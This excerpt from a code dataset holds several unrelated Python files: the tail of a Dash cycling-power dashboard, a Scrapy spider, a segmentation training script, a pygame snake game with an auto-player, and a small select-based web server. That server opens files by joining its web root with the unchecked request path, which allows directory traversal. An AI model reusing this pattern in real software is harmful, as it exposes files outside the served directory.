[Output('bicycle-icon', 'style'),\n     Output('running-icon', 'style')],\n    [Input('activity-type-toggle', 'value')]\n)\ndef update_icon(value):\n    if value:\n        return {'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle', 'color': teal}, {\n            'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle'}\n    else:\n        return {'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle'}, {\n            'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle', 'color': teal}\n\n\n@app.callback(\n    [Output('bolt-icon', 'style'),\n     Output('weight-icon', 'style')],\n    [Input('power-unit-toggle', 'value')]\n)\ndef update_icon(value):\n    if value:\n        return {'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle'}, {\n            'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle', 'color': teal}\n    else:\n        return {'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle', 'color': teal}, {\n            'fontSize': '2rem', 'display': 'inline-block', 'vertical-align': 'middle'}\n\n\n# FTP Chart\n@app.callback(\n    [Output('ftp-current', 'children'),\n     Output('ftp-chart', 'figure')],\n    [Input('activity-type-toggle', 'value'),\n     Input('power-unit-toggle', 'value')]\n)\ndef ftp_chart(activity_type, power_unit):\n    power_unit = 'watts_per_kg' if power_unit else 'ftp'\n    activity_type = 'ride' if activity_type else 'run'\n    current, figure = create_ftp_chart(activity_type=activity_type, power_unit=power_unit)\n    return current, figure\n\n\n# Group power profiles\n@app.callback([Output('power-profile-5-chart', 'figure'),\n               Output('power-profile-60-chart', 'figure'),\n               Output('power-profile-300-chart', 'figure'),\n               Output('power-profile-1200-chart', 'figure'),\n               Output('day-button', 'style'),\n               Output('week-button', 'style'),\n               Output('month-button', 'style'),\n               Output('year-button', 'style'), ],\n              [Input('activity-type-toggle', 'value'),\n               Input('power-unit-toggle', 'value'),\n               Input('day-button', 'n_clicks'),\n               Input('week-button', 'n_clicks'),\n               Input('month-button', 'n_clicks'),\n               Input('year-button', 'n_clicks')]\n              )\ndef update_power_profiles(activity_type, power_unit, day_n_clicks, week_n_clicks, month_n_clicks, year_n_clicks):\n    latest_dict = {'day-button': 'D', 'week-button': 'W', 'month-button': 'M', 'year-button': 'Y'}\n    style = {'Y': {'marginRight': '1%'}, 'M': {'marginRight': '1%'}, 'W': {'marginRight': '1%'},\n             'D': {'marginRight': '1%'}}\n\n    ctx = dash.callback_context\n    if not ctx.triggered:\n        latest = 'M'\n    else:\n        if ctx.triggered[0]['prop_id'].split('.')[0] != 'power-unit-toggle' and ctx.triggered[0]['prop_id'].split('.')[\n            0] != 'activity-type-toggle':\n            latest = latest_dict[ctx.triggered[0]['prop_id'].split('.')[0]]\n        else:\n            latest = 'M'\n\n    style[latest] = {'marginRight': '1%', 'color': '#64D9EC', 'borderColor': '#64D9EC'}\n\n    power_unit = 'watts_per_kg' if power_unit else 'mmp'\n    activity_type = 'ride' if activity_type else 'run'\n\n    return power_profiles(interval=5, group=latest, power_unit=power_unit, activity_type=activity_type), \\\n           power_profiles(interval=60, group=latest, power_unit=power_unit, activity_type=activity_type), \\\n           power_profiles(interval=300, group=latest, power_unit=power_unit, activity_type=activity_type), \\\n           power_profiles(interval=1200, group=latest, power_unit=power_unit, activity_type=activity_type), \\\n           style['D'], style['W'], style['M'], style['Y']\n\n\n# # Main Dashboard Generation Callback\n# @app.callback(\n#     Output('power-layout', 'children'),\n#     [Input('activity-type-toggle', 'value'),\n#      Input('power-unit-toggle', 'value')],\n# )\n# def performance_dashboard(dummy, activity_type, power_unit):\n#     return generate_power_dashboard()\n\n\n# @app.callback(\n#     Output('power-curve-kpis', 'children'),\n#     [Input('power-curve-chart', 'hoverData')],\n#     [State('power-unit-toggle', 'value')])\n# def update_fitness_kpis(hoverData, power_unit):\n#     interval, at, L90D, l6w, last, pr = 0, '', '', '', '', ''\n#     if hoverData is not None and hoverData['points'][0]['customdata'] != 'ignore':\n#         interval = hoverData['points'][0]['x']\n#         for x in hoverData['points']:\n#             if x['customdata'].split('_')[2] == 'at':\n#                 at = '{:.1f} W/kg'.format(x['y']) if power_unit else '{:.0f} W'.format(x['y'])\n#             elif x['customdata'].split('_')[2] == 'L90D':\n#                 L90D = '{:.1f} W/kg'.format(x['y']) if power_unit else '{:.0f} W'.format(x['y'])\n#             elif x['customdata'].split('_')[2] == 'l6w':\n#                 l6w = '{:.1f} W/kg'.format(x['y']) if power_unit else '{:.0f} W'.format(x['y'])\n#             elif x['customdata'].split('_')[2] == 'pr':\n#                 pr = '{:.1f} W/kg'.format(x['y']) if power_unit else '{:.0f} W'.format(x['y'])\n#             elif x['customdata'].split('_')[2] == 'w':\n#                 last = '{:.1f} W/kg'.format(x['y']) if power_unit else '{:.0f} W'.format(x['y'])\n#\n#     return create_power_curve_kpis(interval, at, L90D, l6w, last, pr)\n\n\ndef get_layout(**kwargs):\n    athlete_info = app.session.query(athlete).filter(athlete.athlete_id == 1).first()\n    use_power = True if athlete_info.use_run_power or athlete_info.use_cycle_power else False\n    app.session.remove()\n\n    if not use_power:\n        return html.H1('Power data currently disabled', className='text-center')\n    else:\n        return html.Div([\n\n            html.Div(className='row align-items-start text-center', children=[\n                html.Div(id='power-dashboard-header-container', className='col-12 mt-2 mb-2', children=[\n\n                    html.I(id='running-icon', className='fa fa-running',\n                           style={'fontSize': '2rem', 'display': 'inline-block'}),\n                    daq.ToggleSwitch(id='activity-type-toggle', className='mr-2 ml-2',\n                                     style={'display': 'inline-block'}),\n\n                    html.I(id='bicycle-icon', className='fa fa-bicycle',\n                           style={'fontSize': '2rem', 'display': 'inline-block', 'color': teal}),\n                    dbc.Tooltip('Analyze cycling activities', target=\"bicycle-icon\"),\n                    dbc.Tooltip('Toggle activity type', target=\"activity-type-toggle\"),\n                    dbc.Tooltip('Analyze running activities', target=\"running-icon\"),\n\n                    html.I(style={'fontSize': '2rem', 'display': 'inline-block', 'paddingLeft': '1%',\n                                  'paddingRight': '1%'}),\n\n                    html.I(id='bolt-icon', className='fa fa-bolt',\n                           style={'fontSize': '2rem', 'display': 'inline-block',\n                                  'color': teal}),\n\n                    daq.ToggleSwitch(id='power-unit-toggle', className='mr-2 ml-2', style={'display': 'inline-block'},\n                                     value=False),\n\n                    html.I(id='weight-icon', className='fa fa-weight',\n                           style={'fontSize': '2rem', 'display': 'inline-block'}),\n\n                    dbc.Tooltip('Show watts', target=\"bolt-icon\"),\n                    dbc.Tooltip('Toggle power unit', target=\"power-unit-toggle\"),\n                    dbc.Tooltip('Show watts/kg', target=\"weight-icon\"),\n\n                ]),\n            ]),\n\n            html.Div(id='power-curve-and-zone', className='row mt-2 mb-2',\n                     children=[\n                         html.Div(className='col-lg-8', children=[\n                             dbc.Card(children=[\n                                 dbc.CardHeader(id='power-curve-kpis',\n                                                children=[html.H4('Power Duration Curve', className='mb-0')]),\n                                 dbc.Spinner(color='info', children=[\n                                     dbc.CardBody(\n                                         html.Div(className='row', children=[\n                                             html.Div(id='power-curve-container', className='col-lg-9', children=[\n                                                 dcc.Graph(id='power-curve-chart', config={'displayModeBar': False},\n                                                           style={'height': '100%'})\n                                             ]),\n                                             html.Div(id='stryd-distributions', className='col-lg-3',\n                                                      style={'paddingLeft': 0}),\n                                         ]),\n\n                                     )\n                                 ]),\n                             ]),\n                         ]),\n                         html.Div(className='col-lg-4', children=[\n                             dbc.Card(children=[\n                                 dbc.CardHeader(html.H4(id='ftp-current', className='mb-0')),\n                                 dbc.Tooltip(\n                                     'Functional Threshold Power (FTP) is the highest average power you can sustain for 1 hour, measured in watts. FTP is used to determine training zones when using a power meter and to measure improvement.',\n                                     target=\"ftp-current\", ),\n                                 dbc.Spinner(color='info', children=[\n                                     dbc.CardBody(dcc.Graph(id='ftp-chart', config={'displayModeBar': False},\n                                                            style={'height': '100%'}, ))\n                                 ]),\n                             ]\n                             ),\n\n                         ]),\n                     ]),\n            html.Div(id='power-profile-header',\n                     className='row align-items-center text-center mt-2 mb-2', children=[\n                    html.Div(className='col', children=[\n                        html.H6('Power Profiles by'),\n                        html.Div(id='power-profile-buttons', className='col', children=[\n                            dbc.Button('Day', id='day-button', color='primary', size='sm'),\n                            dbc.Button('Week', id='week-button', color='primary', size='sm'),\n                            dbc.Button('Month', id='month-button', color='primary', size='sm'),\n                            dbc.Button('Year', id='year-button', color='primary', size='sm'),\n                        ]),\n                    ]),\n                ]),\n\n            html.Div(id='power-profiles', className='row', children=[\n                html.Div(className='col-lg-3', children=[\n                    dbc.Card(id='power-profile-5', children=[\n                        dbc.CardHeader(html.H4('5 Second Max Power', className='mb-0')),\n                        dbc.Spinner(color='info', children=[\n                            dbc.CardBody(\n                                dcc.Graph(\n                                    id='power-profile-5-chart',\n                                    config={'displayModeBar': False},\n                                    style={'height': '100%'},\n                                )\n                            )\n                        ]),\n                    ]\n                             )\n                ]),\n                html.Div(className='col-lg-3', children=[\n                    dbc.Card(id='power-profile-60', children=[\n                        dbc.CardHeader(html.H4('1 Minute Max Power', className='mb-0')),\n                        dbc.Spinner(color='info', children=[\n                            dbc.CardBody(\n                                dcc.Graph(\n                                    id='power-profile-60-chart',\n                                    config={'displayModeBar': False},\n                                    style={'height': '100%'},\n                                )\n                            )\n                        ]),\n                    ]\n                             )\n                ]),\n                html.Div(className='col-lg-3', children=[\n                    dbc.Card(id='power-profile-300', children=[\n                        dbc.CardHeader(html.H4('5 Minute Max Power', className='mb-0')),\n                        dbc.Spinner(color='info', children=[\n                            dbc.CardBody(\n                                dcc.Graph(\n                                    id='power-profile-300-chart',\n                                    config={'displayModeBar': False},\n                                    style={'height': '100%'},\n                                )\n                            )\n                        ]),\n                    ]\n                             )\n                ]),\n                html.Div(className='col-lg-3', children=[\n                    dbc.Card(id='power-profile-1200', children=[\n                        dbc.CardHeader(html.H4('20 Minute Max Power', className='mb-0')),\n                        dbc.Spinner(color='info', children=[\n                            dbc.CardBody(\n                                dcc.Graph(\n                                    id='power-profile-1200-chart',\n                                    config={'displayModeBar': False},\n                                    style={'height': '100%'},\n                                )\n                            )\n                        ]),\n                    ]\n                             )\n                ]),\n            ])\n        ])\n","repo_name":"ethanopp/fitly","sub_path":"src/fitly/pages/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":70460,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"35"}
{"seq_id":"32451776010","text":"import scrapy\n\nclass Scrapy_hub_spider(scrapy.Spider):\n    name = 'scrapy_hub'\n    def start_requests(self):\n        return [scrapy.Request(url = \"https://blog.scrapinghub.com\", callback = self.parse)]\n\n    def parse(self, response):\n        titles = response.css(\"div.post-listing div.post-item div.post-header h2 a::text\").getall()\n        dates = response.css(\"div.post-item div.post-header div.byline span.date a::text\").getall()\n        count = 0\n        while (count < len(titles)):\n            yield {\"title\": titles[count], \"date\":dates[count]}\n            count += 1\n\n\n","repo_name":"Neymar110/learn-to-code-with-python-incomplete","sub_path":"learn-to-code-with-python/35-Web-Scraping-with-Scrapy/book_scrape/book_scrape/spiders/scrapy_hub.py","file_name":"scrapy_hub.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31811184875","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov  8 10:57:33 2019\n\n@author: gary\n    \"\"\"\nimport argparse\nimport torch\nfrom torch.utils.data import DataLoader\nimport os\nimport random\nimport datetime\nimport csv\n\nfrom libs.config_defaults import _C as cfg\nfrom libs.data.dataset_builder import dataset_factory\nfrom libs.train import train, evaluate, test\nfrom libs.logger import trainingLogger\nfrom libs.model_utils import check_model,build_model, checkpoint\n\n\ndef get_unique_name(cfg):\n  \n    #Build save details from config\n    separator = '-'\n    model_name = separator.join(cfg.MODEL.components)\n    \n    if len(cfg.DATASET.train) == 1:\n        unique_name = cfg.DATASET.train[0] + \"-\" + cfg.NAME\n    else:\n        seperator = '_'\n        unique_name = seperator.join(cfg.DATASET.train) + \"-\" + cfg.NAME \n\n    cfg.DIR.logs =  os.path.join(cfg.DIR.parent, cfg.DIR.logs, \"-\".join([model_name,unique_name]))\n    \n    cfg.DIR.output =  os.path.join(cfg.DIR.parent, cfg.DIR.output, model_name, unique_name)\n    cfg.DIR.ckpts =  os.path.join(cfg.DIR.output,cfg.DIR.ckpts)\n    cfg.DIR.val_metrics =  os.path.join(cfg.DIR.parent, cfg.DIR.output,cfg.DIR.val_metrics)\n    cfg.DIR.vis =  os.path.join(cfg.DIR.output,cfg.DIR.vis)\n    return cfg\n\n\n####################################################################################################################\n# Main Code\n####################################################################################################################\n\nparser = argparse.ArgumentParser(description=\"PyTorch Semantic Segmentation Training\")\nparser.add_argument(\n    \"--cfg\",\n    default=\"test_seg.yaml\",\n    metavar=\"FILE\",\n    help=\"path to config file\",\n    type=str,\n)\nparser.add_argument(\n    \n    \"opts\",\n    help=\"Modify config options using the command-line\",\n    default=None,\n    nargs=argparse.REMAINDER,\n)\n\nargs = parser.parse_args()\nargs.cfg = os.path.join(\"data\",\"config\", args.cfg)\n\n#Load Config from file and extra command line\ncfg.merge_from_file(args.cfg) #From yacs \ncfg.merge_from_list(args.opts)\n\n#Set parameters dependant upon mode\nif cfg.MODE.upper() == \"TRAIN\":\n    cfg.PARAMS = cfg.TRAIN\nelif cfg.MODE.upper() == \"EVAL\":\n    cfg.PARAMS = cfg.VAL\nelif cfg.MODE.upper() == \"TEST\":\n    cfg.PARAMS = cfg.TEST\n     \ncfg = get_unique_name(cfg)\n\n# Output directory for experimnet\nif not os.path.isdir(cfg.DIR.output):\n   os.makedirs(cfg.DIR.output)\nwith open(os.path.join(cfg.DIR.output, 'config.yaml'), 'w') as f:\n    f.write(\"{}\".format(cfg))\nif not os.path.isdir(cfg.DIR.ckpts):\n   os.makedirs(cfg.DIR.ckpts)\n\n#In cases classes are ignored \nif cfg.TRAIN.criterion_ignore_index != -100:\n    cfg.DATASET.shift_class_labels = abs(cfg.TRAIN.criterion_ignore_index)\nelse:\n    cfg.DATASET.shift_class_labels = 0\n    \ncfg = check_model(cfg)\n    \n    \n\nif cfg.MODE.upper() == \"TRAIN\":\n    \n    dataset, collator = dataset_factory(cfg.DATASET.train,cfg.MODE.upper(),cfg.DIR.datasets,cfg.DATASET,trainvis=True)\n    dataloader_train = DataLoader(dataset[\"TRAIN\"], batch_size=cfg.TRAIN.batch_size_per_gpu, shuffle=True, num_workers=0, collate_fn=collator[\"TRAIN\"])\n    dataloader_vis = DataLoader(dataset[\"TRAINVIS\"], batch_size=1, shuffle=False, num_workers=0, collate_fn=collator[\"TRAINVIS\"])\n    cfg.DATASET.num_class = dataset[\"TRAIN\"].class_num\n    \n    \n    random.seed(cfg.TRAIN.seed)\n    torch.manual_seed(cfg.TRAIN.seed)\n    #Setup logging\n    history = {'train': {'epoch': [], 'loss': [], 'acc': []}} \n    \n    #time_stamp = datetime.datetime.now()\n    #time_stamp = time_stamp.strftime(\"%m_%d_%y_%H_%M_%S\")\n    #log_folder = os.getcwd() +\"/logs/\"+ dataset_name + \"_\" + time_stamp\n    logger = trainingLogger(dataset[\"TRAIN\"].name,logs_dir=cfg.DIR.logs, img_dir=cfg.DIR.vis)\n    model, optimizers, nets = build_model(cfg)\n    \n    cfg.TRAIN.max_iters = cfg.TRAIN.epoch_iters * cfg.TRAIN.num_epoch\n    cfg.TRAIN.running_lr = [None] * len(optimizers)\n    for i in range(len(optimizers)):\n        cfg.TRAIN.running_lr[i] = cfg.TRAIN.lr[i]\n\n    for epoch in range(cfg.TRAIN.checkpoint, cfg.TRAIN.num_epoch):\n        train(model, dataloader_train, optimizers, logger, epoch+1, cfg, vis_data=dataloader_vis)\n        # checkpointing\n        checkpoint(nets, history, cfg, epoch+1)\n        \n  \nif cfg.MODE.upper() == \"EVAL\":\n    for ds in cfg.DATASET.val:\n        dataset, collator = dataset_factory(ds,cfg.MODE.upper(),cfg.DIR.datasets,cfg.DATASET)\n        dataloader = DataLoader(dataset[\"VAL\"], batch_size=1, shuffle=False, num_workers=0, collate_fn=collator[\"VAL\"])\n        cfg.DATASET.num_class = dataset[\"VAL\"].class_num\n        logger = trainingLogger(dataset[\"VAL\"].name,logs_dir=cfg.DIR.logs, img_dir=cfg.DIR.vis)\n        model, optimizers, nets = build_model(cfg)\n        results = evaluate(model, dataloader, logger, cfg)\n        \n        RESULTS2 = results[\"IOU\"].tolist()\n\n        with open('testres.csv','w', newline='') as result_file:\n            wr = csv.writer(result_file, dialect='excel')\n            wr.writerows(RESULTS2)\n     \nif cfg.MODE.upper() == \"TEST\":   \n    for ds in cfg.DATASET.test:\n        dataset, collator = dataset_factory(ds,cfg.MODE.upper(),cfg.DIR.datasets,cfg.DATASET)\n        dataloader = DataLoader(dataset[\"TEST\"], batch_size=1, shuffle=False, num_workers=0, collate_fn=collator[\"TEST\"])\n        cfg.DATASET.num_class = dataset[\"TEST\"].class_num\n        logger = trainingLogger(dataset[\"TEST\"].name,logs_dir=cfg.DIR.logs, img_dir=cfg.DIR.vis)\n        model, optimizers, nets = build_model(cfg)\n        test(model, dataloader, logger, cfg)\n\n\n\n\n       \n        \n\n","repo_name":"gls81/mlf","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74776657059","text":"import pygame\r\npygame.init()\r\nfrom random import randint\r\n\r\ndef move(snake, direction):\r\n    if direction == 0:\r\n        snake.append((snake[-1][0], snake[-1][1]+1))\r\n    elif direction == 1:\r\n        snake.append((snake[-1][0]+1, snake[-1][1]))\r\n    elif direction == 2:\r\n        snake.append((snake[-1][0], snake[-1][1]-1))\r\n    elif direction == 3:\r\n        snake.append((snake[-1][0]-1, snake[-1][1]))\r\n    snake.pop(0)\r\n\r\ndef draw(surface, snake, tile_size, food):\r\n    w,h = surface.get_size()\r\n    for i in range(w//tile_size+1):\r\n        pygame.draw.line(surface, (50,50,50), ((i+1)*tile_size,0), ((i+1)*tile_size, h))\r\n    for i in range(h//tile_size):\r\n        pygame.draw.line(surface, (50,50,50), (0,(i+1)*tile_size), (w,(i+1)*tile_size))\r\n\r\n    prev_pos = snake[0]\r\n    for s in snake:\r\n        if s is prev_pos:\r\n            pygame.draw.rect(surface, (0,150,0), ((s[0]*tile_size+1, s[1]*tile_size+1), (tile_size-1, tile_size-1)))\r\n        else:\r\n            if prev_pos[0] < s[0]:\r\n                pygame.draw.rect(surface, (0,150,0), ((s[0]*tile_size, s[1]*tile_size+1), (tile_size, tile_size-1)))\r\n            elif prev_pos[0] > s[0]:\r\n                pygame.draw.rect(surface, (0,150,0), ((s[0]*tile_size+1, s[1]*tile_size+1), (tile_size, tile_size-1)))\r\n            elif prev_pos[1] > s[1]:\r\n                pygame.draw.rect(surface, (0,150,0), ((s[0]*tile_size+1, s[1]*tile_size+1), (tile_size-1, tile_size)))\r\n            elif prev_pos[1] < s[1]:\r\n                pygame.draw.rect(surface, (0,150,0), ((s[0]*tile_size+1, s[1]*tile_size), (tile_size-1, tile_size)))\r\n        prev_pos = s\r\n    pygame.draw.rect(surface, (150,0,0), ((food[0]*tile_size+1, food[1]*tile_size+1), (tile_size-1, tile_size-1)))\r\n\r\ndef update(snake, direction, sizex, sizey, food,m=True):\r\n    if m:\r\n        move(snake, direction)\r\n    if snake[-1][0] == -1:\r\n        return True\r\n    if snake[-1][0] == sizex:\r\n        return True\r\n    if snake[-1][1] == -1:\r\n        return True\r\n    if snake[-1][1] == sizey:\r\n        return True\r\n\r\n    if snake.count(snake[-1]) != 1:\r\n        return True\r\n    if snake[-1] == food:\r\n        return False\r\n    return None\r\n\r\ndef new_food(snake, sizex, sizey):\r\n    x, y = randint(0, sizex-1), randint(0, sizey-1)\r\n    for i in range(20):\r\n        if (x,y) not in snake:\r\n            break\r\n        x, y = randint(0, sizex-1), randint(0, sizey-1)\r\n    return x,y\r\n\r\ndef game_loop():\r\n    SCREEN = pygame.display.set_mode((800,600))\r\n\r\n    direction = 0\r\n    tile_size = 20\r\n    sizex = SCREEN.get_width()//tile_size\r\n    sizey = SCREEN.get_height()//tile_size\r\n    snake = [(randint(0,sizex-5), randint(0,sizey-5))]\r\n\r\n    food = new_food(snake, sizex, sizey)\r\n    score = 0\r\n    font = pygame.font.SysFont(None, 50)\r\n    txt = font.render(\"0\", True, (255,255,255))\r\n\r\n    C = pygame.time.Clock()\r\n    while True:\r\n        SCREEN.fill((0,0,0))\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n            elif event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_ESCAPE:\r\n                    return\r\n                elif event.key == pygame.K_RIGHT:\r\n                    direction = 1\r\n                elif event.key == pygame.K_UP:\r\n                    direction = 2\r\n                elif event.key == pygame.K_DOWN:\r\n                    direction = 0\r\n                elif event.key == pygame.K_LEFT:\r\n                    direction = 3\r\n\r\n        a = update(snake, direction, sizex, sizey, food)\r\n        if a:\r\n            return\r\n        elif a == False:\r\n            snake.append(food)\r\n            food = new_food(snake, sizex, sizey)\r\n            score += 1\r\n            txt = font.render(str(score), True, (255,255,255))\r\n        draw(SCREEN, snake, tile_size, food)\r\n        SCREEN.blit(txt, (sizex*tile_size-50,10))\r\n        pygame.display.update()\r\n        C.tick(10)\r\n\r\ndef generate_path(sizex, sizey):\r\n    begin = (0,0)\r\n    path = [begin]\r\n    return path\r\n\r\ndef ia():\r\n    SCREEN = pygame.display.set_mode((800,600))\r\n\r\n    print(generate_path(20,20))\r\n\r\n    direction = 0\r\n    tile_size = 20\r\n    sizex = SCREEN.get_width()//tile_size\r\n    sizey = SCREEN.get_height()//tile_size\r\n    snake = [(0,0) for i in range(1)]\r\n\r\n    path = [(0,0)]\r\n\r\n#     #sizex et sizey pairs\r\n#     path.append((path[-1][0]+1, path[-1][1]))\r\n#     path.append((path[-1][0], path[-1][1]+1))\r\n#     for i in range((sizey//2)//2):\r\n#         for x in range((sizex//2)-1):\r\n#             path.append((path[-1][0]+1, path[-1][1]))\r\n#             path.append((path[-1][0], path[-1][1]-1))\r\n#             path.append((path[-1][0]+1, path[-1][1]))\r\n#             path.append((path[-1][0], path[-1][1]+1))\r\n#         for j in range(2):\r\n#             path.append((path[-1][0], path[-1][1]+1))\r\n#         for x in range((sizex//2)-1):\r\n#             path.append((path[-1][0]-1, path[-1][1]))\r\n#             path.append((path[-1][0], path[-1][1]-1))\r\n#             path.append((path[-1][0]-1, path[-1][1]))\r\n#             path.append((path[-1][0], path[-1][1]+1))\r\n#         for j in range(2):\r\n#             path.append((path[-1][0], path[-1][1]+1))\r\n#     path.pop(len(path)-1)\r\n#     path.pop(len(path)-1)\r\n#     path.append((path[-1][0]-1, path[-1][1]))\r\n#     for i in range(sizey-2):\r\n#         path.append((0,sizey-2-i))\r\n#         print(path[-1])\r\n\r\n\r\n    for i in range(1,sizex):\r\n        for j in range(0,sizey-1):\r\n            if i % 2 == 0:\r\n                path.append((i,sizey-j-2))\r\n            else:\r\n                path.append((i,j))\r\n    for i in range(sizex):\r\n        path.append((sizex-1-i,sizey-1))\r\n    for i in range(sizey-2):\r\n        path.append((0,sizey-2-i))\r\n\r\n    step = 1\r\n\r\n    food = new_food(snake, sizex, sizey)\r\n    score = 0\r\n    font = pygame.font.SysFont(None, 50)\r\n    txt = font.render(\"0\", True, (255,255,255))\r\n\r\n    l = len(path)-1\r\n    length = l+1\r\n#     l = min(100, l)\r\n    print(len(path),l)\r\n\r\n    speed = 37464\r\n    mode = True\r\n    C = pygame.time.Clock()\r\n    while True:\r\n        SCREEN.fill((0,0,0))\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n            elif event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_ESCAPE:\r\n                    return\r\n                elif event.key == pygame.K_s:\r\n                    mode = not mode\r\n                    if speed == 37464:\r\n                        speed = 20\r\n                    else:\r\n                        speed = 37464\r\n#                 elif event.key == pygame.K_RIGHT:\r\n#                     direction = 1\r\n#                 elif event.key == pygame.K_UP:\r\n#                     direction = 2\r\n#                 elif event.key == pygame.K_DOWN:\r\n#                     direction = 0\r\n#                 elif event.key == pygame.K_LEFT:\r\n#                     direction = 3\r\n\r\n        snake.append(path[step])\r\n        u = update(snake, direction, sizex, sizey, food,m=False)\r\n        snake.pop(0)\r\n\r\n        a,b = snake[-1]\r\n        pos = None\r\n        for i in range(l):\r\n            x,y = path[(step+1+i)%length]\r\n            if (x,y) in snake:\r\n                break\r\n            elif (x,y) == food:\r\n                break\r\n            if i > 0 and ((max(x,a)-min(x,a) == 1 and max(y,b)-min(y,b) == 0) or (max(x,a)-min(x,a) == 0 and max(y,b)-min(y,b) == 1)):\r\n                for j in range(10):\r\n                    if (path[(step+1+i+j)%length] in snake):\r\n                        a = False\r\n                if a:\r\n                    pos = (step+i)%length#step = (step+i)%len(path)\r\n                break\r\n                #print((x,y),(a,b),food)\r\n        if pos is not None:\r\n            step = pos\r\n\r\n\r\n        if u:\r\n            return\r\n        elif u == False:\r\n            snake.insert(0, food)\r\n            food = new_food(snake, sizex, sizey)\r\n            score += 1\r\n            txt = font.render(str(score), True, (255,255,255))\r\n        if not mode or step%2==0:\r\n            draw(SCREEN, snake, tile_size, food)\r\n            SCREEN.blit(txt, (sizex*tile_size-50,10))\r\n            pygame.display.update()\r\n        C.tick(speed)\r\n        step += 1\r\n        step %= length\r\n\r\ndef main():\r\n    SCREEN = pygame.display.set_mode((800,600))\r\n\r\n    font = pygame.font.SysFont(None, 100)\r\n    txt = font.render(\"Press a key ...\", True, (255,255,255))\r\n\r\n    x, y = SCREEN.get_rect().center\r\n    w,h = txt.get_size()\r\n\r\n    while True:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n            elif event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_ESCAPE:\r\n                    pygame.quit()\r\n                    quit()\r\n                elif event.key == pygame.K_i:\r\n                    ia()\r\n                else:\r\n                    game_loop()\r\n\r\n        SCREEN.fill((0,0,0))\r\n        SCREEN.blit(txt, (x-w/2, y-h/2))\r\n        pygame.display.update()\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"Feanoo/snake","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":9080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71766750502","text":"\"\"\"\nweb_server 程序搭建一个类\n展示自己的网页\n\"\"\"\nfrom socket import *\nfrom select import select\nimport re\n\n\n# 搭建比并发服务,实现http功能\nclass WebServer:\n    def __init__(self, host=\"0.0.0.0\", port=80, html=None):\n        self.host = host\n        self.port = port\n        self.html = html  # 网页的根目录\n        self.rlist = []\n        self.wlist = []\n        self.xlist = []\n        # 搭建服务的准备工作\n        self.create_socket()\n        self.bind()\n\n    def create_socket(self):\n        self.sock = socket()\n        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        self.sock.setblocking(False)\n\n    def bind(self):\n        self.address = (self.host, self.port)\n        self.sock.bind(self.address)\n\n    # 实现http功能\n    def handle(self, connfd):\n        # 接收浏览器请求\n        request = connfd.recv(1024 * 10).decode()\n        # 解析请求 --> 获取请求内容\n        pattern = \"[A-Z]+\\s+(?P<info>/\\S*)\"\n        result = re.match(pattern, request)\n        if result:\n            # 匹配到内容\n            info = result.group(\"info\")\n            print(\"请求内容:\", info)\n            # 发送响应数据\n            self.send_html(connfd, info)\n        else:\n            # 没有匹配到内容,客户端断开\n            connfd.close()\n            self.rlist.remove(connfd)\n            return\n\n    # 根据请求发送响应数据\n    def send_html(self, connfd, info):\n        if info == \"/\":\n            filename = self.html + \"/index.html\"\n        else:\n            filename = self.html + info\n        try:\n            f = open(filename,\"rb\")\n        except:\n            # 文件不存在\n            response = \"HTTP/1.1 404 Not Found\\r\\n\"\n            response += \"Content-Type:text/html\\r\\n\"\n            response += \"\\r\\n\"\n            response += \"<h1>Sorry...</h1>\"\n            response = response.encode()\n        else:\n            data = f.read()\n            response = \"HTTP/1.1 200 OK\\r\\n\"\n            response += \"Content-Type:text/html\\r\\n\"\n            response += \"Content-Length:%d\\r\\n\"%len(data)\n            response += \"\\r\\n\"\n            response = response.encode()+ data\n        finally:\n            # 发送响应该客户端\n            connfd.send(response)\n\n\n    # 启动服务\n    def start(self):\n        self.sock.listen(5)\n        print(\"Listen the port %d\" % self.port)\n        self.rlist = [self.sock]\n        while True:\n            # 循环监控\n            rs, ws, xs = select(self.rlist, self.wlist, self.xlist)\n            # 伴随监控的IO的增多,就绪的IO情况也会复杂化\n            # 分类讨论 分成两类 sock   ---   connfd\n            for r in rs:\n                # 有客户端链接\n                if r is self.sock:\n                    connfd, addr = r.accept()\n                    print(\"connect from\", addr)\n                    connfd.setblocking(False)\n                    self.rlist.append(connfd)  # 客户端链接套接字放入监控列表中\n                else:\n                    # 某个客户端发消息了\n                    try:\n                        self.handle(r)\n                    except:\n                        r.close()\n                        self.rlist.remove(r)\n\n\nif __name__ == '__main__':\n    # 实例化对象\n    httpd = WebServer(host=\"0.0.0.0\", port=8000, html=\"./static\")\n    # 启动服务\n    httpd.start()\n","repo_name":"zxd-sys/web-server","sub_path":"dir/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
